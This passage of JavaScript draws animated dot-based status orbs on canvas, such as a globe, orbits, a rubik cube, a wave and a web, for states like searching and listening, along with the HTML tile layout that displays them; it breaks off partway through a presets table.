const PX = 256, W = 316, H = 368, GX = 26, GY = 28, X0 = 40, Y0 = 120;
const pos = i => [X0 + (i % 3) * (W + GX), Y0 + Math.floor(i / 3) * (H + GY)];
$('tiles').innerHTML = ORB.map(([s, l], i) => { const [x, y] = pos(i);
  return `<div class="tile" id="t${i}" style="left:${x}px;top:${y}px"><canvas id="c${i}" width="${PX}" height="${PX}"></canvas><div class="lb" id="l${i}">${l}</div><i class="lit"></i><i class="rg" id="r${i}"></i></div>`; }).join('');
const ctxs = ORB.map((o, i) => $('c' + i).getContext('2d'));
const RES = ORB.map(([s]) => ORBS.resolvePreset(s, 64));

function drawOrb(i, t, tint) {
  const ctx = ctxs[i], r = RES[i], s = ORB[i][0], tt = (t + 0.9 + i * 0.37) * r.speed;
  if (HOW[s] === 'L') {
    const S0 = PX / 1.4; ctx.setTransform(1.4, 0, 0, 1.4, 0, 0); ctx.clearRect(0, 0, S0, S0);
    ORBS.paintFrame(ctx, ORBS.MODE_FRAMES[r.mode](S0, tt, { ...ORBS.BASE_PROFILES[r.mode] }), false, tint);
  } else {
    const k = PX / 64; ctx.setTransform(k, 0, 0, k, 0, 0); ctx.clearRect(0, 0, 64, 64);
    ORBS.paintFrame(ctx, ORBS.MODE_FRAMES[r.mode](64, tt, r.opts), false, tint);
  }
}

// blue ring walk: Searching on "chaque" 1.14, Thinking on "état" 1.35, Listening on "ton" 1.58
const WALK = [[1, 1.14], [7, 1.35], [3, 1.58]];
const ACT = 26;
// spring that lands exactly at d seconds (no tail, no overshoot)
const SD = (x, w, d) => Math.min(1, S(x, w) / S(d, w));
function weight(i, t) {
  let w = 0;
  WALK.forEach(([j, at], n) => { if (j !== i) return; const next = WALK[n + 1];
    w = SD(t - at, 34, 0.16) * (next ? 1 - SD(t - next[1], 34, 0.16) : 1); });
  return w;
}

window.setT = function (t) {
  ORB.forEach((o, i) => {
    // stagger row by row: tile 0 already there, then .05 apart (last one starts at .40)
    const d = i === 0 ? -0.3 : i * 0.05, k = S(t - d, 20), el = $('t' + i);
    const w = weight(i, t);
    el.style.opacity = Math.min(1, k * 1.6);
    el.style.transform = `translateY(${(1 - k) * 46 - 8 * w}px) scale(${(0.94 + 0.06 * k) * (1 + 0.025 * w)})`;
    el.style.zIndex = w > 0.01 ? 2 : 1;
    // its own blue ring: closes in 1.05 -> 1 as it fades in on the word, fades out when the next one lands
    const at = (WALK.find(([j]) => j === i) || [0, 99])[1], rin = SD(t - at, 34, 0.16), rg = $('r' + i);
    rg.style.opacity = w; rg.style.transform = `scale(${1.05 - 0.05 * rin})`;
    $('l' + i).style.color = `rgb(${[17, 17, 17].map((c, n) => Math.round(L(c, [37, 142, 255][n], w)))})`;
    drawOrb(i, t, w > 0.004 ? { r: Math.round(18 * w), g: Math.round(118 * w), b: Math.round(240 * w) } : undefined);
    el.style.background = `rgb(${[255, 255, 255].map((c, n) => Math.round(L(c, [240, 247, 255][n], w)))})`;
  });

};
window.setT(0);
</script>
</body></html>

(function(){
function lerp(a, b, f) {
  return a + (b - a) * f;
}
function frac(x) {
  return x - Math.floor(x);
}
function vnoise(x, y) {
  const xi = Math.floor(x);
  const yi = Math.floor(y);
  let fx = x - xi;
  let fy = y - yi;
  fx = fx * fx * (3 - 2 * fx);
  fy = fy * fy * (3 - 2 * fy);
  const a = hashD(xi, yi);
  const b = hashD(xi + 1, yi);
  const c = hashD(xi, yi + 1);
  const d = hashD(xi + 1, yi + 1);
  return a + (b - a) * fx + (c - a) * fy + (a - b - c + d) * fx * fy;
}
function hashD(a, b) {
  const h = Math.sin(a * 12.9898 + b * 78.233) * 43758.5453;
  return h - Math.floor(h);
}
function fibDir(i, n) {
  const golden = Math.PI * (3 - Math.sqrt(5));
  const y = 1 - 2 * (i + 0.5) / n;
  const rad = Math.sqrt(1 - y * y);
  const a = i * golden;
  return [rad * Math.cos(a), y, rad * Math.sin(a)];
}
function angleDelta(a, b) {
  return Math.atan2(Math.sin(a - b), Math.cos(a - b));
}
function makeProj(yaw, tilt, cx, cy, scale) {
  const st = Math.sin(tilt);
  const ct = Math.cos(tilt);
  const sy = Math.sin(yaw);
  const cyw = Math.cos(yaw);
  return (x, y, z) => {
    const x1 = x * cyw + z * sy;
    const z1 = -x * sy + z * cyw;
    const y1 = y * ct - z1 * st;
    const z2 = y * st + z1 * ct;
    return [cx + x1 * scale, cy - y1 * scale, z2];
  };
}
function inkColor(w, alpha, dark, tint) {
  if (!tint) {
    const g = Math.round((dark ? 1 - w : w) * 255);
    return `rgba(${g},${g},${g},${alpha})`;
  }
  const ramp = (c) => Math.round(dark ? c * (1 - w) : c + (255 - c) * w);
  return `rgba(${ramp(tint.r)},${ramp(tint.g)},${ramp(tint.b)},${alpha})`;
}
function paint(ctx, dots, dark, rMin = 0.3, tint) {
  for (const d of dots) {
    const alpha = d.a ?? 1;
    const w = Math.min(1, Math.max(0, d.white));
    ctx.fillStyle = inkColor(w, alpha, dark, tint);
    ctx.beginPath();
    ctx.arc(d.x, d.y, d.r, 0, Math.PI * 2);
    ctx.fill();
  }
}
function paintLines(ctx, lines, dark, tint) {
  for (const l of lines) {
    const alpha = l.a ?? 1;
    const w = Math.min(1, Math.max(0, l.white));
    ctx.strokeStyle = inkColor(w, alpha, dark, tint);
    ctx.lineWidth = l.w;
    ctx.beginPath();
    ctx.moveTo(l.x1, l.y1);
    ctx.lineTo(l.x2, l.y2);
    ctx.stroke();
  }
}
function finalizeFrame(dots, lines, rMin = 0.3) {
  const visible = [];
  for (const d of dots) {
    if ((d.a ?? 1) < 0.02) continue;
    d.r = Math.max(rMin, d.r);
    visible.push(d);
  }
  visible.sort((a, b) => a.z - b.z);
  return { dots: visible, lines: lines.filter((l) => (l.a ?? 1) >= 0.02) };
}
function paintFrame(ctx, frame, dark, tint) {
  if (frame.lines.length) paintLines(ctx, frame.lines, dark, tint);
  paint(ctx, frame.dots, dark, 0.3, tint);
}
function radiusScale(size, pow) {
  return (size / 300) ** pow;
}
const COUNT_PAIRS = [
  ["latRings", "lonDensity"],
  ["rings", "lonDensity"],
  ["lanes", "segs"]
];
const COUNT_KEYS = ["orbitN", "ghostN", "nodeN", "strandN", "signals"];
const ICON_DENSITY_KEYS = ["iconD"];
const RADIUS_KEYS = [
  "rBase",
  "rDepth",
  "rActive",
  "rDot",
  "ghostR",
  "partR",
  "partRDepth",
  "nodeR",
  "nodeRDepth"
];
function scaleCounts(opts, scale) {
  const out = { ...opts };
  const done = /* @__PURE__ */ new Set();
  const rt = Math.sqrt(scale);
  for (const [a, b] of COUNT_PAIRS) {
    const va = out[a];
    const vb = out[b];
    if (va != null && vb != null && !done.has(a) && !done.has(b)) {
      out[a] = Math.max(2, Math.round(va * rt));
      out[b] = Math.max(2, Math.round(vb * rt));
      done.add(a);
      done.add(b);
    }
  }
  for (const k of COUNT_KEYS) {
    const v = out[k];
    if (v != null && v !== 0 && !done.has(k)) out[k] = Math.max(1, Math.round(v * scale));
  }
  for (const k of ICON_DENSITY_KEYS) {
    const v = out[k];
    if (v != null) out[k] = Math.max(0.02, v * scale);
  }
  return out;
}
function scaleRadii(opts, scale) {
  const out = { ...opts };
  for (const k of RADIUS_KEYS) {
    const v = out[k];
    if (v != null) out[k] = v * scale;
  }
  out.rSizeMul = (out.rSizeMul ?? 1) * scale;
  return out;
}
function countDots(opts) {
  let total = 0;
  const done = /* @__PURE__ */ new Set();
  for (const [a, b] of COUNT_PAIRS) {
    const va = opts[a];
    const vb = opts[b];
    if (va != null && vb != null && !done.has(a) && !done.has(b)) {
      total += va * vb;
      done.add(a);
      done.add(b);
    }
  }
  for (const k of COUNT_KEYS) {
    const v = opts[k];
    if (v != null && v !== 0 && !done.has(k)) total += v;
  }
  return Math.round(total);
}
const BASE_PROFILES = {
  globe: {
    latRings: 17,
    lonDensity: 44,
    rBase: 0.6,
    rDepth: 1.7,
    rBoost: 1,
    inkFar: 0.62,
    inkSpan: 0.54,
    rsPow: 0.6,
    rMin: 0.3
  },
  orbits: {
    orbitN: 12,
    ghostN: 40,
    ghostR: 0.9,
    ghostA: 0.5,
    particles: 3,
    partR: 1.2,
    partRDepth: 1.6,
    rsPow: 0.6,
    rMin: 0.3
  },
  rubik: {
    latRings: 15,
    lonDensity: 40,
    moveCount: 14,
    rBase: 0.6,
    rDepth: 1.7,
    rActive: 0.3,
    inkFar: 0.62,
    inkSpan: 0.54,
    rsPow: 0.6,
    rMin: 0.3
  },
  wave: {
    rings: 15,
    lonDensity: 40,
    rBase: 0.6,
    rDepth: 1.7,
    rsPow: 0.6,
    rMin: 0.3
  },
  web: {
    nodeN: 30,
    thr: 0.72,
    signals: 5,
    nodeR: 1.4,
    nodeRDepth: 1.8,
    lineW: 0.8,
    rsPow: 0.6,
    rMin: 0.3
  },
  braid: {
    strandN: 52,
    turns: 3,
    ghostN: 150,
    rBase: 1.2,
    rDepth: 1.8,
    rsPow: 0.6,
    rMin: 0.3
  },
  ribbon: {
    lanes: 5,
    segs: 88,
    ghostN: 150,
    rBase: 1.1,
    rDepth: 1.7,
    rsPow: 0.6,
    rMin: 0.3
  },
  // ring shares ribbon's painter; faceOn cancels the camera tilt and moves
  // the undulation onto the radius, and there is no ghost sphere behind it
  ring: {
    lanes: 5,
    segs: 88,
    ghostN: 0,
    faceOn: 1,
    rBase: 1.1,
    rDepth: 1.7,
    rsPow: 0.6,
    rMin: 0.3
  },
  morph: {
    rDot: 0.021,
    iconD: 1,
    rMin: 0.25
  }
};
const frameBraid = (size, t, o) => {
  const cx = size / 2;
  const cy = size / 2;
  const R = size / 2 * 0.76;
  const pt = makeProj(t * 0.4, 0.3, cx, cy, 1);
  const rs = radiusScale(size, o.rsPow ?? 0.6);
  const dots = [];
  const ghostN = o.ghostN ?? 150;
  for (let i = 0; i < ghostN; i++) {
    const d = fibDir(i, ghostN);
    const [px, py, z] = pt(d[0] * R, d[1] * R, d[2] * R);
    const depth = (z / R + 1) / 2;
    dots.push({ x: px, y: py, z, r: 0.8 * rs, white: 0.78, a: 0.1 + 0.22 * depth });
  }
  const strandN = o.strandN ?? 52;
  const turns = o.turns ?? 3;
  for (let s = 0; s < 3; s++) {
    const phase = s / 3 * 2 * Math.PI;
    for (let i = 0; i < strandN; i++) {
      const u = (frac(i / strandN + t * 0.045) * 2 - 1) * 0.96;
      const surf = Math.sqrt(Math.max(0, 1 - u * u));
      const endFade = Math.min(1, (1 - Math.abs(u)) / 0.1);
      const a = u * Math.PI * turns + phase;
      const weave = 1 + 0.075 * Math.sin(u * Math.PI * turns * 2 + phase * 2 + t * 0.8);
      const rr = surf * R * weave;
      const [px, py, zr] = pt(Math.cos(a) * rr, u * R * weave, Math.sin(a) * rr);
      const depth = (zr / R + 1) / 2;
      dots.push({
        x: px,
        y: py,
        z: zr,
        r: ((o.rBase ?? 1.2) + (o.rDepth ?? 1.8) * depth) * rs,
        white: 0.55 - 0.45 * depth,
        a: endFade * (0.45 + 0.55 * depth)
      });
    }
  }
  return finalizeFrame(dots, [], o.rMin);
};
function solveCycle(time, count, slotDur, rest) {
  const cyc = 2 * count * slotDur + rest;
  const tc = time % cyc;
  const amount = new Array(count).fill(0);
  let active = -1;
  if (tc < 2 * count * slotDur) {
    const slot = Math.floor(tc / slotDur);
    const p = (tc - slot * slotDur) / slotDur;
    const cl = Math.min(1, p / 0.7);
    const ep = 1 - (1 - cl) ** 3;
    if (slot < count) {
      for (let i = 0; i < slot; i++) amount[i] = 1;
      amount[slot] = ep;
      active = slot;
    } else {
      const u = 2 * count - 1 - slot;
      for (let i = 0; i < u; i++) amount[i] = 1;
      amount[u] = 1 - ep;
      active = u;
    }
  }
  return { amount, active };
}
function applyMoves(pt3, moves, sc) {
  let [x, y, z] = pt3;
  let inActive = false;
  for (let i = 0; i < moves.length; i++) {
    if (sc.amount[i] <= 0) continue;
    const mv = moves[i];
    const coord = mv.axis === 0 ? x : mv.axis === 1 ? y : z;
    if (coord < mv.lo || coord >= mv.hi) continue;
    if (i === sc.active) inActive = true;
    const a = mv.ang * sc.amount[i];
    const ca = Math.cos(a);
    const sa = Math.sin(a);
    if (mv.axis === 0) {
      const y2 = y * ca - z * sa;
      z = y * sa + z * ca;
      y = y2;
    } else if (mv.axis === 1) {
      const x2 = x * ca + z * sa;
      z = -x * sa + z * ca;
      x = x2;
    } else {
      const x2 = x * ca - y * sa;
      y = x * sa + y * ca;
      x = x2;
    }
  }
  return [x, y, z, inActive];
}
function makeMoves(count) {
  const moves = [];
  for (let i = 0; i < count; i++) {
    const axis = Math.min(2, Math.floor(hashD(i, 2.3) * 3));
    const lo = -1 + 0.5 * Math.min(3, Math.floor(hashD(i, 5.9) * 4));
    const dir = hashD(i, 7.7) < 0.5 ? 1 : -1;
    moves.push({ axis, lo, hi: lo + 0.5, ang: dir * Math.PI / 2 });
  }
  return moves;
}
const frameGlobe = (size, t, o) => {
  const spin = 0.5;
  const cx = size / 2;
  const cy = size / 2;
  const radius = size / 2 * 0.82;
  const tilt = 0.4 + 0.06 * Math.sin(t * 0.35);
  const pt = makeProj(t * spin, tilt, cx, cy, radius);
  const scan = t * (spin + (1.7 - spin) * (o.scanMul ?? 1));
  const rs = radiusScale(size, o.rsPow ?? 0.6);
  const dimBase = o.dimBase ?? 1;
  const dots = [];
  const latRings = o.latRings ?? 17;
  const lonDensity = o.lonDensity ?? 44;
  for (let li = 0; li <= latRings; li++) {
    const lat = -Math.PI / 2 + li / latRings * Math.PI;
    const cosLat = Math.cos(lat);
    const sinLat = Math.sin(lat);
    const lonCount = Math.max(1, Math.round(Math.abs(cosLat) * lonDensity));
    for (let lj = 0; lj < lonCount; lj++) {
      const lon = lj / lonCount * 2 * Math.PI;
      const [px, py, z] = pt(cosLat * Math.cos(lon), sinLat, cosLat * Math.sin(lon));
      const depth = (z + 1) / 2;
      const d = angleDelta(lon + t * spin, scan);
      const boost = Math.exp(-(d * d) / 0.18) * Math.max(0, z);
      dots.push({
        x: px,
        y: py,
        z,
        r: ((o.rBase ?? 0.6) + (o.rDepth ?? 1.7) * depth + (o.rBoost ?? 1) * boost) * rs,
        white: (o.inkFar ?? 0.62) - (o.inkSpan ?? 0.54) * depth,
        // dimBase < 1 fades un-scanned dots so the meridian reads clearly
        a: dimBase + (1 - dimBase) * Math.min(1, boost)
      });
    }
  }
  return finalizeFrame(dots, [], o.rMin);
};
const frameRubik = (size, t, o) => {
  const cx = size / 2;
  const cy = size / 2;
  const R = size / 2 * 0.82;
  const pt = makeProj(t * 0.55, 0.35 + 0.1 * Math.sin(t * 0.9), cx, cy, R);
  const rs = radiusScale(size, o.rsPow ?? 0.6);
  const moveCount = o.moveCount ?? 14;
  const moves = makeMoves(moveCount);
  const sc = solveCycle(t, moveCount, 0.42, 1.2);
  const dots = [];
  const latRings = o.latRings ?? 15;
  const lonDensity = o.lonDensity ?? 40;
  for (let li = 0; li <= latRings; li++) {
    const lat = -Math.PI / 2 + li / latRings * Math.PI;
    const cosLat = Math.cos(lat);
    const sinLat = Math.sin(lat);
    const lonCount = Math.max(1, Math.round(Math.abs(cosLat) * lonDensity));
    for (let lj = 0; lj < lonCount; lj++) {
      const lon = lj / lonCount * 2 * Math.PI;
      const [x, y, z, inActive] = applyMoves([cosLat * Math.cos(lon), sinLat, cosLat * Math.sin(lon)], moves, sc);
      const [px, py, zr] = pt(x, y, z);
      const depth = (zr + 1) / 2;
      dots.push({
        x: px,
        y: py,
        z: zr,
        r: ((o.rBase ?? 0.6) + (o.rDepth ?? 1.7) * depth + (inActive ? o.rActive ?? 0.3 : 0)) * rs,
        white: (o.inkFar ?? 0.62) - (o.inkSpan ?? 0.54) * depth - (inActive ? 0.14 : 0)
      });
    }
  }
  return finalizeFrame(dots, [], o.rMin);
};
const frameWave = (size, t, o) => {
  const cx = size / 2;
  const cy = size / 2;
  const R = size / 2 * 0.874;
  const pt = makeProj(t * 0.18, 0.38, cx, cy, 1);
  const rs = radiusScale(size, o.rsPow ?? 0.6);
  const dots = [];
  const rings = o.rings ?? 15;
  const lonDensity = o.lonDensity ?? 40;
  for (let ri = 0; ri <= rings; ri++) {
    const lat = -Math.PI / 2 + ri / rings * Math.PI;
    const cosLat = Math.cos(lat);
    const sinLat = Math.sin(lat);
    const w = 0.62 * Math.sin(t * 2.1 - ri * 0.52) + 0.38 * Math.sin(t * 1.27 + ri * 0.83);
    const rr = R * (0.88 + 0.105 * w);
    const lonCount = Math.max(1, Math.round(Math.abs(cosLat) * lonDensity));
    for (let lj = 0; lj < lonCount; lj++) {
      const lon = lj / lonCount * 2 * Math.PI;
      const [px, py, z] = pt(cosLat * Math.cos(lon) * rr, sinLat * rr, cosLat * Math.sin(lon) * rr);
      const depth = (z / R + 1) / 2;
      const crest = Math.max(0, w);
      dots.push({
        x: px,
        y: py,
        z,
        r: ((o.rBase ?? 0.6) + (o.rDepth ?? 1.7) * depth) * (1 + 0.4 * crest) * rs,
        white: 0.66 - 0.56 * depth - 0.1 * crest
      });
    }
  }
  return finalizeFrame(dots, [], o.rMin);
};
function smoothE(x) {
  return x * x * (3 - 2 * x);
}
function polyPath(verts) {
  const V = verts.length;
  const L = [];
  let total = 0;
  for (let i = 0; i < V; i++) {
    const a = verts[i];
    const b = verts[(i + 1) % V];
    const l = Math.hypot(b[0] - a[0], b[1] - a[1]);
    L.push(l);
    total += l;
  }
  return (f) => {
    let target = f * total;
    let i = 0;
    while (target > L[i] && i < V - 1) {
      target -= L[i];
      i++;
    }
    const a = verts[i];
    const b = verts[(i + 1) % V];
    const ff = L[i] ? Math.min(1, target / L[i]) : 0;
    return [a[0] + (b[0] - a[0]) * ff, a[1] + (b[1] - a[1]) * ff];
  };
}
const CIRCLE = (f) => {
  const a = -Math.PI / 2 + f * 2 * Math.PI;
  return [Math.cos(a) * 0.24, Math.sin(a) * 0.24];
};
const TRIANGLE = polyPath([
  [0, -0.26],
  [0.24, 0.16],
  [-0.24, 0.16]
]);
const SQUARE = polyPath([
  [0, -0.2],
  [0.2, -0.2],
  [0.2, 0.2],
  [-0.2, 0.2],
  [-0.2, -0.2]
]);
const CYCLE = [CIRCLE, TRIANGLE, SQUARE];
function morphN(d) {
  return Math.max(6, Math.round(34 * d));
}
const HOLD = 1.4;
const MORPH = 0.9;
const SEG = HOLD + MORPH;
const frameMorph = (size, t, o) => {
  const K = CYCLE.length;
  const tc = t % (SEG * K);
  const held = o.shape != null && o.shape >= 0 && o.shape < K ? Math.floor(o.shape) : -1;
  const k = held >= 0 ? held : Math.floor(tc / SEG);
  const local = held >= 0 ? t % SEG : tc - k * SEG;
  const m = held >= 0 ? 0 : local > HOLD ? smoothE((local - HOLD) / MORPH) : 0;
  const sprd = o.spread ?? 1;
  const pA = CYCLE[k];
  const pB = held >= 0 ? pA : CYCLE[(k + 1) % K];
  const M = 160;
  const pts = [];
  for (let i = 0; i < M; i++) {
    const f = i / M;
    const a = pA(f);
    const b = pB(f);
    pts.push([(a[0] + (b[0] - a[0]) * m) * sprd, (a[1] + (b[1] - a[1]) * m) * sprd]);
  }
  const L = [];
  let total = 0;
  for (let i = 0; i < M; i++) {
    const a = pts[i];
    const b = pts[(i + 1) % M];
    const l = Math.hypot(b[0] - a[0], b[1] - a[1]);
    L.push(l);
    total += l;
  }
  const n = morphN(o.iconD ?? 1);
  const re = (o.rDot ?? 0.021) * 1.35 * sprd;
  const pulse = 1 + 0.02 * Math.sin(local * 3.1);
  const dots = [];
  const c2 = size / 2;
  let seg = 0;
  let acc = 0;
  for (let k2 = 0; k2 < n; k2++) {
    const target = k2 / n * total;
    while (acc + L[seg] < target && seg < M - 1) {
      acc += L[seg];
      seg++;
    }
    const a = pts[seg];
    const b = pts[(seg + 1) % M];
    const f = L[seg] ? Math.min(1, (target - acc) / L[seg]) : 0;
    const x = (a[0] + (b[0] - a[0]) * f) * pulse;
    const y = (a[1] + (b[1] - a[1]) * f) * pulse;
    dots.push({
      x: c2 + x * size,
      y: c2 + y * size,
      z: 0,
      r: Math.max(0.35, re * size),
      white: 0.1
    });
  }
  return finalizeFrame(dots, [], o.rMin);
};
const frameOrbits = (size, t, o) => {
  const cx = size / 2;
  const cy = size / 2;
  const R = size / 2 * 0.82;
  const pt = makeProj(t * 0.12, 0.3, cx, cy, 1);
  const rs = radiusScale(size, o.rsPow ?? 0.6);
  const dots = [];
  const orbitN = o.orbitN ?? 12;
  const ghostN = o.ghostN ?? 40;
  const particles = o.particles ?? 3;
  for (let orb = 0; orb < orbitN; orb++) {
    const h1 = hashD(orb, 1.7);
    const h2 = hashD(orb, 5.2);
    const h3 = hashD(orb, 8.9);
    const ro = R * (0.45 + 0.52 * h1);
    const th = h1 * 2 * Math.PI;
    const phi = Math.acos(2 * h2 - 1);
    const nx = Math.sin(phi) * Math.cos(th);
    const ny = Math.cos(phi);
    const nz = Math.sin(phi) * Math.sin(th);
    let ux = -ny;
    let uy = nx;
    const uz = 0;
    const ul = Math.max(1e-6, Math.sqrt(ux * ux + uy * uy));
    ux /= ul;
    uy /= ul;
    const vx = ny * uz - nz * uy;
    const vy = nz * ux - nx * uz;
    const vz = nx * uy - ny * ux;
    const speed = (0.25 + 0.55 * h3) * (h3 > 0.5 ? 1 : -1);
    for (let k = 0; k < ghostN; k++) {
      const a = k / ghostN * 2 * Math.PI;
      const [px, py, z] = pt(
        (ux * Math.cos(a) + vx * Math.sin(a)) * ro,
        (uy * Math.cos(a) + vy * Math.sin(a)) * ro,
        (uz * Math.cos(a) + vz * Math.sin(a)) * ro
      );
      const depth = (z / ro + 1) / 2;
      dots.push({
        x: px,
        y: py,
        z,
        r: (o.ghostR ?? 0.9) * rs,
        white: 0.72,
        a: (o.ghostA ?? 0.5) * (0.4 + 0.6 * depth)
      });
    }
    for (let m = 0; m < particles; m++) {
      const a = t * speed + m / particles * 2 * Math.PI + h2 * 6;
      const [px, py, z] = pt(
        (ux * Math.cos(a) + vx * Math.sin(a)) * ro,
        (uy * Math.cos(a) + vy * Math.sin(a)) * ro,
        (uz * Math.cos(a) + vz * Math.sin(a)) * ro
      );
      const depth = (z / ro + 1) / 2;
      dots.push({
        x: px,
        y: py,
        z,
        r: ((o.partR ?? 1.2) + (o.partRDepth ?? 1.6) * depth) * rs,
        white: 0.3 - 0.22 * depth
      });
    }
  }
  return finalizeFrame(dots, [], o.rMin);
};
const frameRibbon = (size, t, o) => {
  const cx = size / 2;
  const cy = size / 2;
  const R = size / 2 * 0.78;
  const spin = o.spin ?? 1;
  const camTilt = 0.3;
  const pt = makeProj(t * 0.1 * spin, camTilt, cx, cy, 1);
  const rs = radiusScale(size, o.rsPow ?? 0.6);
  const dots = [];
  const ghostN = o.ghostN ?? 150;
  for (let i = 0; i < ghostN; i++) {
    const d = fibDir(i, ghostN);
    const [px, py, z] = pt(d[0] * R, d[1] * R, d[2] * R);
    const depth = (z / R + 1) / 2;
    dots.push({ x: px, y: py, z, r: 0.8 * rs, white: 0.78, a: 0.1 + 0.22 * depth });
  }
  const ya = t * 0.24 * spin;
  const ta = o.faceOn ? -camTilt : 0.55 + 0.3 * Math.sin(t * 0.18) * spin;
  const ux = Math.cos(ya);
  const uy = 0;
  const uz = Math.sin(ya);
  const vx = -uz * Math.sin(ta);
  const vy = Math.cos(ta);
  const vz = ux * Math.sin(ta);
  const nx = uy * vz - uz * vy;
  const ny = uz * vx - ux * vz;
  const nz = ux * vy - uy * vx;
  const wobAmp = 0.23 * (o.wobMul ?? 1);
  const baseR = o.faceOn ? R / (1 + 0.85 * wobAmp) : R;
  const baseLanes = o.lanes ?? 5;
  const segs = o.segs ?? 88;
  const lanes = Math.max(1, Math.round(baseLanes * (o.bandMul ?? 1)));
  for (let w = 0; w < lanes; w++) {
    const laneOff = (w - (lanes - 1) / 2) * 0.075;
    const edge = Math.abs(w - (lanes - 1) / 2) / Math.max(1, (lanes - 1) / 2);
    for (let k = 0; k < segs; k++) {
      const a = k / segs * 2 * Math.PI;
      const wob = (0.16 * Math.sin(a * 3 - t * 1.7 + w * 0.22) + 0.07 * Math.sin(a * 5 + t * 1.1)) * (o.wobMul ?? 1);
      const radial = o.faceOn ? 1 + wob : 1;
      const off = o.faceOn ? laneOff : laneOff + wob;
      const x = ux * Math.cos(a) + vx * Math.sin(a) + nx * off;
      const y = uy * Math.cos(a) + vy * Math.sin(a) + ny * off;
      const z = uz * Math.cos(a) + vz * Math.sin(a) + nz * off;
      const l = Math.sqrt(x * x + y * y + z * z);
      const rr = baseR * radial;
      const [px, py, zr] = pt(x / l * rr, y / l * rr, z / l * rr);
      const depth = (zr / R + 1) / 2;
      dots.push({
        x: px,
        y: py,
        z: zr,
        r: ((o.rBase ?? 1.1) + (o.rDepth ?? 1.7) * depth) * (1 - 0.25 * edge) * rs,
        white: 0.52 - 0.44 * depth + 0.18 * edge,
        a: 0.4 + 0.6 * depth
      });
    }
  }
  return finalizeFrame(dots, [], o.rMin);
};
const frameWeb = (size, t, o) => {
  const cx = size / 2;
  const cy = size / 2;
  const R = size / 2 * 0.8 * (o.spread ?? 1);
  const pt = makeProj(t * 0.12, 0.32, cx, cy, R);
  const rs = radiusScale(size, o.rsPow ?? 0.6);
  const nodeN = o.nodeN ?? 30;
  const thr = o.thr ?? 0.72;
  const nodeR = o.nodeR ?? 1.4;
  const nodeRDepth = o.nodeRDepth ?? 1.8;
  const nodes = [];
  for (let i = 0; i < nodeN; i++) {
    const d = fibDir(i, nodeN);
    const x = d[0] + 0.3 * (vnoise(i * 0.31 + 9, t * 0.24) - 0.5) * 2;
    const y = d[1] + 0.3 * (vnoise(i * 0.53 + 27, t * 0.21) - 0.5) * 2;
    const z = d[2] + 0.3 * (vnoise(i * 0.77 + 55, t * 0.27) - 0.5) * 2;
    const l = Math.sqrt(x * x + y * y + z * z);
    nodes.push([x / l, y / l, z / l]);
  }
  const lines = [];
  const dots = [];
  for (let i = 0; i < nodeN; i++) {
    for (let j = i + 1; j < nodeN; j++) {
      const dx = nodes[i][0] - nodes[j][0];
      const dy = nodes[i][1] - nodes[j][1];
      const dz = nodes[i][2] - nodes[j][2];
      const dist = Math.sqrt(dx * dx + dy * dy + dz * dz);
      if (dist >= thr) continue;
      const [x1, y1, z1] = pt(nodes[i][0], nodes[i][1], nodes[i][2]);
      const [x2, y2, z2] = pt(nodes[j][0], nodes[j][1], nodes[j][2]);
      const depth = ((z1 + z2) / 2 + 1) / 2;
      lines.push({
        x1,
        y1,
        x2,
        y2,
        white: 0.42,
        a: (1 - dist / thr) * (0.3 + 0.55 * depth),
        w: Math.max(0.6, (o.lineW ?? 0.8) * rs)
      });
    }
  }
  for (let i = 0; i < nodeN; i++) {
    const [px, py, z] = pt(nodes[i][0], nodes[i][1], nodes[i][2]);
    const depth = (z + 1) / 2;
    const pulse = 1 + 0.25 * Math.sin(t * 1.4 + i * 2.7);
    dots.push({
      x: px,
      y: py,
      z,
      r: (nodeR + nodeRDepth * depth) * pulse * rs,
      white: 0.55 - 0.45 * depth
    });
  }
  const signals = o.signals ?? 5;
  for (let s = 0; s < signals; s++) {
    const seg = Math.floor(t * 0.55 + s * 7.31);
    const a = Math.floor(hashD(seg, s * 3.1 + 1.7) * nodeN);
    const b = Math.floor(hashD(seg, s * 5.7 + 4.2) * nodeN);
    if (a === b) continue;
    const f = frac(t * 0.55 + s * 7.31);
    const x = lerp(nodes[a][0], nodes[b][0], f);
    const y = lerp(nodes[a][1], nodes[b][1], f);
    const z = lerp(nodes[a][2], nodes[b][2], f);
    const l = Math.max(1e-6, Math.sqrt(x * x + y * y + z * z));
    const [px, py, zr] = pt(x / l, y / l, z / l);
    const depth = (zr + 1) / 2;
    dots.push({
      x: px,
      y: py,
      z: zr,
      r: (nodeR * 1.5 + nodeRDepth * depth) * rs,
      white: 0.05,
      a: 0.5 + 0.5 * depth
    });
  }
  return finalizeFrame(dots, lines, o.rMin);
};
const MODE_FRAMES = {
  orbits: frameOrbits,
  globe: frameGlobe,
  rubik: frameRubik,
  wave: frameWave,
  web: frameWeb,
  braid: frameBraid,
  ribbon: frameRibbon,
  // ring shares ribbon's geometry — the `faceOn` profile flag switches it
  ring: frameRibbon,
  morph: frameMorph
};
const MODE_DRAWS = Object.fromEntries(
  Object.entries(MODE_FRAMES).map(([key, frame]) => [
    key,
    (ctx, size, t, dark, opts) => paintFrame(ctx, frame(size, t, opts), dark)
  ])
);
const STATE_TO_MODE = {
  working: "orbits",
  searching: "globe",
  solving: "rubik",
  listening: "wave",
  connecting: "web",
  weaving: "braid",
  composing: "ribbon",
  breathing: "ring",
  shaping: "morph"
};
const PRESETS = {
  orbits: {
    64: { speed: 1.885, count: 1, size: 1 },
    32: { speed: 2.9072, count: 0.4251, size: 1.6849 },
    20: { speed: 3.9, count: 0.238, size: 2.4 }
  },
  globe: {
    64: { speed: 2.015, count: 0.42, size: 1.15, extra: { scanMul: 4.08, dimBase: 0.45 } },
    32: { speed: 2.3803, count: 0.1839, size: 1.4769, extra: { scanMul: 4.2301, dimBase: 0.45 } },
    20: { speed: 2.665, count: 0.105, size: 1.75, extra: { scanMul: 4.335, dimBase: 0.45 } }
  },
  rubik: {
    64: { speed: 1.82, count: 0.35, size: 1.05 },
    32: { speed: 1.8964, count: 0.1537, size: 1.4951 },
    20: { speed: 1.95, count: 0.088, size: 1.9 }
  },
  wave: {
    64: { speed: 4.388, count: 0.341, size: 1 },
    32: { speed: 4.1512, count: 0.169, size: 1.3232 },
    20: { speed: 3.998, count: 0.105, size: 1.6 }
  },
  web: {
    64: { speed: 3.315, count: 1.35, size: 0.95 },
    32: { speed: 5.0104, count: 0.4942, size: 1.2571 },
    20: { speed: 6.63, count: 0.25, size: 1.52 }
  },
  braid: {
    64: { speed: 1.625, count: 0.5, size: 1 },
    32: { speed: 2.2234, count: 0.2056, size: 1.2011 },
